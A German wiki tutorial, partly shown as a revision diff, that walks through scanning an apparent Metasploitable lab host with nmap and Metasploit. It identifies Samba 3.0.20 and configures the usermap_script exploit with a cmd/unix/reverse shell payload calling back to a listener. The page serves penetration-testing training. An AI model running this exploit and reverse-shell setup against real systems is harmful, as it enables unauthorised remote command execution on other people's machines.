Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 101: Zeile 101:
 
*Mit '''show options''' kann die momentane Konfiguration
 
*Mit '''show options''' kann die momentane Konfiguration
 
  msf5 exploit(multi/samba/usermap_script) > show options
 
  msf5 exploit(multi/samba/usermap_script) > show options
 
 
  Module options (exploit/multi/samba/usermap_script):
 
  Module options (exploit/multi/samba/usermap_script):
 
 
   Name    Current Setting  Required  Description
 
   Name    Current Setting  Required  Description
 
   ----    ---------------  --------  -----------
 
   ----    ---------------  --------  -----------
 
   RHOSTS  10.82.1.101      yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
 
   RHOSTS  10.82.1.101      yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
 
   RPORT  139              yes      The target port (TCP)
 
   RPORT  139              yes      The target port (TCP)
 
 
 
  Payload options (cmd/unix/reverse):
 
  Payload options (cmd/unix/reverse):
 
 
   Name  Current Setting  Required  Description
 
   Name  Current Setting  Required  Description
 
   ----  ---------------  --------  -----------
 
   ----  ---------------  --------  -----------
 
   LHOST  10.82.10.99      yes      The listen address (an interface may be specified)
 
   LHOST  10.82.10.99      yes      The listen address (an interface may be specified)
 
   LPORT  4444            yes      The listen port
 
   LPORT  4444            yes      The listen port

Version vom 2. November 2020, 14:34 Uhr

Schwachstelle suchen

  • Mittels nmap einen Port suchen. In diesem Fall Samba.
  • Befehl: root@kali:~# nmap -sV 10.82.1.101
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 12:48 CET 
Nmap scan report for 10.82.1.101
Host is up (0.00015s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  rpcbind
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1

Genaue Version

Durch nmap kann die genaue Version von Samba nicht gesehen werden. Deshalb wird ein Modul von Metasploit benötigt.

  • Es wird folgender Befehl in der msfconsole abgesetzt um das Versions Module zu nutzen:
    • msf5 > use auxiliary/scanner/smb/smb_version


  • Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
    • msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.82.1.101


  • Durch den Befehl show options werden die momentanen Einstellung gezeigt:
msf5 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
RHOSTS     10.82.1.101      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain  .                no        The Windows domain to use for authentication
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as
THREADS    1                yes       The number of concurrent threads (max one per host)
  • Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
msf5 auxiliary(scanner/smb/smb_version) > run
[*] 10.82.1.101:445       - Host could not be identified: Unix (Samba 3.0.20-Debian)

Passendes Module suchen

  • Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
search Samba 3.0.20
Matching Modules
================
  #   Name                                                   Disclosure Date  Rank       Check  Description
  -   ----                                                   ---------------  ----       -----  -----------
  0   auxiliary/admin/http/wp_easycart_privilege_escalation  2015-02-25       normal     Yes    WordPress WP EasyCart Plugin Privilege Escalation
  1   auxiliary/admin/smb/samba_symlink_traversal                             normal     No     Samba Symlink Directory Traversal
  2   auxiliary/dos/samba/lsa_addprivs_heap                                   normal     No     Samba lsa_io_privilege_set Heap Overflow
  3   auxiliary/dos/samba/lsa_transnames_heap                                 normal     No     Samba lsa_io_trans_names Heap Overflow
  4   auxiliary/dos/samba/read_nttrans_ea_list                                normal     No     Samba read_nttrans_ea_list Integer Overflow
  5   auxiliary/scanner/rsync/modules_list                                    normal     No     List Rsync Modules
  6   auxiliary/scanner/smb/smb_uninit_cred                                   normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
  7   exploit/freebsd/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
  8   exploit/linux/samba/chain_reply                        2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
  9   exploit/linux/samba/is_known_pipename                  2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
  10  exploit/linux/samba/lsa_transnames_heap                2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
  11  exploit/linux/samba/setinfopolicy_heap                 2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
  12  exploit/linux/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
  13  exploit/multi/samba/nttrans                            2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
  14  exploit/multi/samba/usermap_script                     2007-05-14       excellent  No     Samba "username map script" Command Execution
  15  exploit/osx/samba/lsa_transnames_heap                  2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
  16  exploit/osx/samba/trans2open                           2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
  • Wir entscheiden uns hier für das exploit/multi/samba/usermap_script Module und schauen uns das Module genauer an indem wir das Module erstmal laden durch:
use exploit/multi/samba/usermap_script
  • Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
  • Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.

Konfiguration des Samba Modules

  • Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.

RHOST

msf5 exploit(multi/samba/usermap_script) > set RHOST 10.82.1.101
RHOST => 10.82.1.101

PAYLOAD

msf5 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
  • Mit show options kann die momentane Konfiguration
msf5 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  10.82.1.101      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   139              yes       The target port (TCP)
Payload options (cmd/unix/reverse):
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LHOST  10.82.10.99      yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port